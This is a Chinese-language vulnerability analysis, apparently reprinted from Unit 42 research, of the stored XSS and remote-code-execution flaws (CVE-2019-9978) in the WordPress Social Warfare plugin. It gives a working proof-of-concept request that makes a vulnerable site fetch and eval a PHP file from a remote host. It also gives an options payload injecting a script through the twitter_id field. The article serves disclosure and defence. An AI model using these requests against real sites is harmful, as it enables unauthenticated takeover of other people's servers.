WordPress Social Warfare插件XSS和RCE漏洞
- 发表于
- Vulndb
3月21日,研究人员披露了Social Warfare中存在的两个漏洞,这是WordPress中一个非常受欢迎的插件,可以将社交网络分享按钮添加到网站或博客中。其中,一个是存储型跨站脚本攻击(XSS)漏洞,另一个是远程代码执行(RCE)漏洞,这两个漏洞共同获得CVE-2019-9978编号。在3.5.3版本之前所有版本的Social Warfare中都存在这两个漏洞。3月21日,发布了针对该漏洞的修复程序,但预计有42000个网站暂未更新至3.5.3版本,而存在漏洞。攻击者可以借助这些运动,运行任意PHP代码,在无需身份验证的情况下即可实现对网站和服务器的控制。攻击者可能会利用受感染的网站执行加密货币挖掘,或在被感染的网站上托管恶意攻击代码。Unit 42的研究人员发现了五个主动用于托管恶意攻击代码的受感染网站,使得攻击者可以控制更多网站。
Social Warfare漏洞分析
远程代码执行(RCE)漏洞
该漏洞的根本原因位于social-warfare\lib\utilities\SWP_ Databa se_Migration.php中。
WordPress Social Warfare处理$_GET[‘swp_url’]:
上图展示了,$array由$option构造,而$option又来自位于$_GET[‘swp_url’]中的远程文件。我们可以在上图的第250行中看到,$array将由eval()函数执行,而不会进行任何安全检查,这将直接导致任意代码执行。
我们使用以下内容,操作内部环境服务器中的文件,该文件在<pre>标记内存储phpinfo函数。Phpinfo()是一个PHP函数,它展示了PHP的当前状态和环境配置。该函数通常被用作演示PHP执行的远程Payload。
1 2 3 |
<pre> Phpinfo(); </pre> |
然后,我们在易受攻击的站点上访问了以下URI,发现执行了phpinfo()函数:
1 |
http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/phpinfo.txt |
在发送PoC请求时运行phpinfo():
存储型跨站脚本攻击(XSS)漏洞
该漏洞同样存在于social-warfare\lib\utilities\SWP_ Databa se_Migration.php代码之中。
要更新的代码选项:
这两个漏洞的根本原因是相同的,都是在WordPress中滥用了is_admin()函数。is_admin仅检查所请求的页面是否属于管理页面的一部分,并且不会阻止任何未经授权的访问。
我们使用以下内容,操纵内部环境服务器中的配置文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 |
<pre> array ( ‘analytics_campaign’ => ‘SocialWarfare’, ‘analytics_medium’ => ‘social’, ‘bitly_authentication’ => false, ‘button_alignment’ => ‘fullWidth’, ‘button_shape’ => ‘flatFresh’, ‘button_size’ => 1, ‘cache_method’ => ‘advanced’, ‘ctt_css’ => ”, ‘ctt_theme’ => ‘style1’, ‘custom_color’ => ‘#000000’, ‘custom_color_outlines’ => ‘#000000’, ‘decimal_separator’ => ‘period’, ‘decimals’ => 0, ‘default_colors’ => ‘full_color’, ‘float_alignment’ => ‘center’, ‘float_background_color’ => ‘#ffffff’, ‘float_button_count’ => 5, ‘float_button_shape’ => ‘default’, ‘float_custom_color’ => ‘#000000’, ‘float_custom_color_outlines’ => ‘#000000’, ‘float_default_colors’ => ‘full_color’, ‘float_hover_colors’ => ‘fullColor’, ‘float_location’ => ‘bottom’, ‘float_location_page’ => ‘off’, ‘float_location_post’ => ‘on’, ‘float_mobile’ => ‘bottom’, ‘float_screen_width’ => 1100, ‘float_single_colors’ => ‘full_color’, ‘float_size’ => 1, ‘float_style_source’ => true, ‘float_vertical’ => ‘center’, ‘floating_panel’ => true, ‘force_new_shares’ => false, ‘frame_buster’ => false, ‘full_content’ => false, ‘google_analytics’ => false, ‘hover_colors’ => ‘full_color’, ‘last_migrated’ => ‘3.0.5’, ‘location_archive_categories’ => ‘below’, ‘location_home’ => ‘none’, ‘location_page’ => ‘below’, ‘location_post’ => ‘below’, ‘minimum_shares’ => 0, ‘network_shares’ => true, ‘og_page’ => ‘article’, ‘og_post’ => ‘article’, ‘order_of_icons’ => array ( ‘twitter’ => ‘twitter’, ‘linkedIn’ => ‘linkedin’, ‘pinterest’ => ‘pinterest’, ‘facebook’ => ‘facebook’, ‘google_plus’ => ‘google_plus’, ), ‘order_of_icons_method’ => ‘manual’, ‘pin_browser_extension’ => false, ‘pin_browser_extension_location’ => ‘hidden’, ‘pinit_image_description’ => ‘alt_text’, ‘pinit_image_source’ => ‘image’, ‘pinit_location_horizontal’ => ‘center’, ‘pinit_location_vertical’ => ‘top’, ‘pinit_min_height’ => ‘200’, ‘pinit_min_width’ => ‘200’, ‘pinit_toggle’ => false, ‘pinterest_fallback’ => ‘all’, ‘pinterest_image_location’ => ‘hidden’, ‘recover_shares’ => false, ‘recovery_format’ => ‘unchanged’, ‘recovery_prefix’ => ‘unchanged’, ‘recovery_protocol’ => ‘unchanged’, ‘single_colors’ => ‘full_color’, ‘swp_click_tracking’ => false, ‘swp_twitter_card’ => true, ‘total_shares’ => true, ‘totals_alignment’ => ‘total_sharesalt’, ‘transition’ => ‘slide’, ‘twitter_id’ => ‘”><script>alert(/kow/)</script>’, ‘twitter_shares’ => false, ‘utm_on_pins’ => false, ) </pre> |
随后,我们返回到易受攻击的WordPress主机,该主机位于http://<vulnerable-host>/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://***.***.***/1.txt。
当我们访问WordPress仪表盘中的Social Warfare页面时,我们会看到如下图所示的警报。
管理员访问仪表盘时显示的警报:
受影响的网站
目前,我们已经发现大约有40000个已安装该插件的网站,其中大多数都运行了易受攻击版本的插件,其中包括教育网站、财务网站和新闻网站。其中的许多网站都拥有较高的流量,我们可以在下图左侧看到Alexa的全球流量排名。
原文连接
的情况下转载,若非则不得使用我方内容。